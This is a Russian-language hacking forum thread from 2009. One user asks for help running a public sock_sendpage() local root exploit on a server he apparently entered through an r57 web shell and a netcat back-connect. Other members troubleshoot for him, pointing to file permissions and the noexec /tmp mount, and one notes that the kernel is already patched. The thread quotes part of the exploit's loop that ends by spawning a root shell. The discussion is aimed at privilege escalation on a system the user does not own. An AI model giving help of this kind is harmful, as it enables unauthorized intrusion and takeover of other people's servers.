Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit [3]

Discussion in 'Безопасность и Анонимность' started by M@rtein, 2 Nov 2009.

  1. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    58
    Likes Received:
    4
    Reputations:
    0
    Скачал сплоит под Linux
    http://milw0rm.com/exploits/9641
    Помогите разобраться с его использованием.
    Необходимо получить рута на
    Запускаю netcat и через r57 с помощью back-connect'а получаю консоль, далее:
    Подскажите пожалуйста что не так делаю?
     
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    еще раз ls -la и mount сюда
     
    1 person likes this.
  3. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Файл exploit скорее всего не является исполняемым
    Code:
    $ chmod 0755 exploit
    
     
  4. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    58
    Likes Received:
    4
    Reputations:
    0
    Понял свой косяк!!! Спасибо за наводку ShAnKaR

    Code:
    mount
    /dev/sda5 on / type ext3 (rw)
    none on /proc type proc (rw)
    none on /sys type sysfs (rw)
    none on /dev/pts type devpts (rw,gid=5,mode=620)
    usbfs on /proc/bus/usb type usbfs (rw)
    /dev/sda1 on /boot type ext3 (rw)
    none on /dev/shm type tmpfs (rw,noexec,nosuid,nodev)
    /dev/sda2 on /tmp type ext3 (rw,noexec,nosuid,nodev)
    none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
    Теперь выдает:
    Code:
    sh run
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
     
    #4 M@rtein, 3 Nov 2009
    Last edited: 3 Nov 2009
  5. Ruskey

    Ruskey New Member

    Joined:
    16 Nov 2006
    Messages:
    11
    Likes Received:
    4
    Reputations:
    0
    Теперь выдает:
    Code:
    sh run
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol
    socket: Address family not supported by protocol

    Ну что, теперь открой исходник и посмотри логику, которая ведет к данному сообщению. (капитан очевидность)
     
  6. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    58
    Likes Received:
    4
    Reputations:
    0
    Ruskey, полагаю в exploit.c возникает в условии, но что подправить я не знаю...
    Code:
    exploit:
    	if (s[i][0] == PF_MAX)
    		exit(EXIT_FAILURE);
    
    	if ((out_fd = socket(s[i][0], s[i][1], s[i][2])) == -1) {
    		perror("socket");
    		i++;
    		goto exploit;
    	}
    
    	sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
    
    	if (getuid() || getgid()) {
    		close(out_fd);
    		i++;
    		goto exploit;
    	}
    
    	execl("/bin/sh", "sh", "-i", NULL);
    
    	exit(EXIT_SUCCESS);
    }
     
  7. Ex@rcist

    Ex@rcist New Member

    Joined:
    4 Sep 2009
    Messages:
    22
    Likes Received:
    3
    Reputations:
    0
    /dev/sda2 on /tmp type ext3 (rw,noexec,nosuid,nodev)
    ни о чем не говорит?..
     
  8. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    кажется ты опоздал )
     
  9. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    M@rtein
    Информация об уязвимости была опубликована 13 августа (патч был сделан в тот же день). А ваше ядро было собрано 31го. Отсюда вывод: рута через этот сплойт не получить.
     
    2 people like this.
  10. M@rtein

    M@rtein New Member

    Joined:
    9 Aug 2007
    Messages:
    58
    Likes Received:
    4
    Reputations:
    0
    oRb спасибо за ответ. Теперь буду это учитывать.

    И кстати вот тоже может кто подскажет по XNU Darwin.
    Ссылка на тему на ачате http://forum.antichat.ru/showthread.php?t=135264
     
    #10 M@rtein, 13 Nov 2009
    Last edited: 13 Nov 2009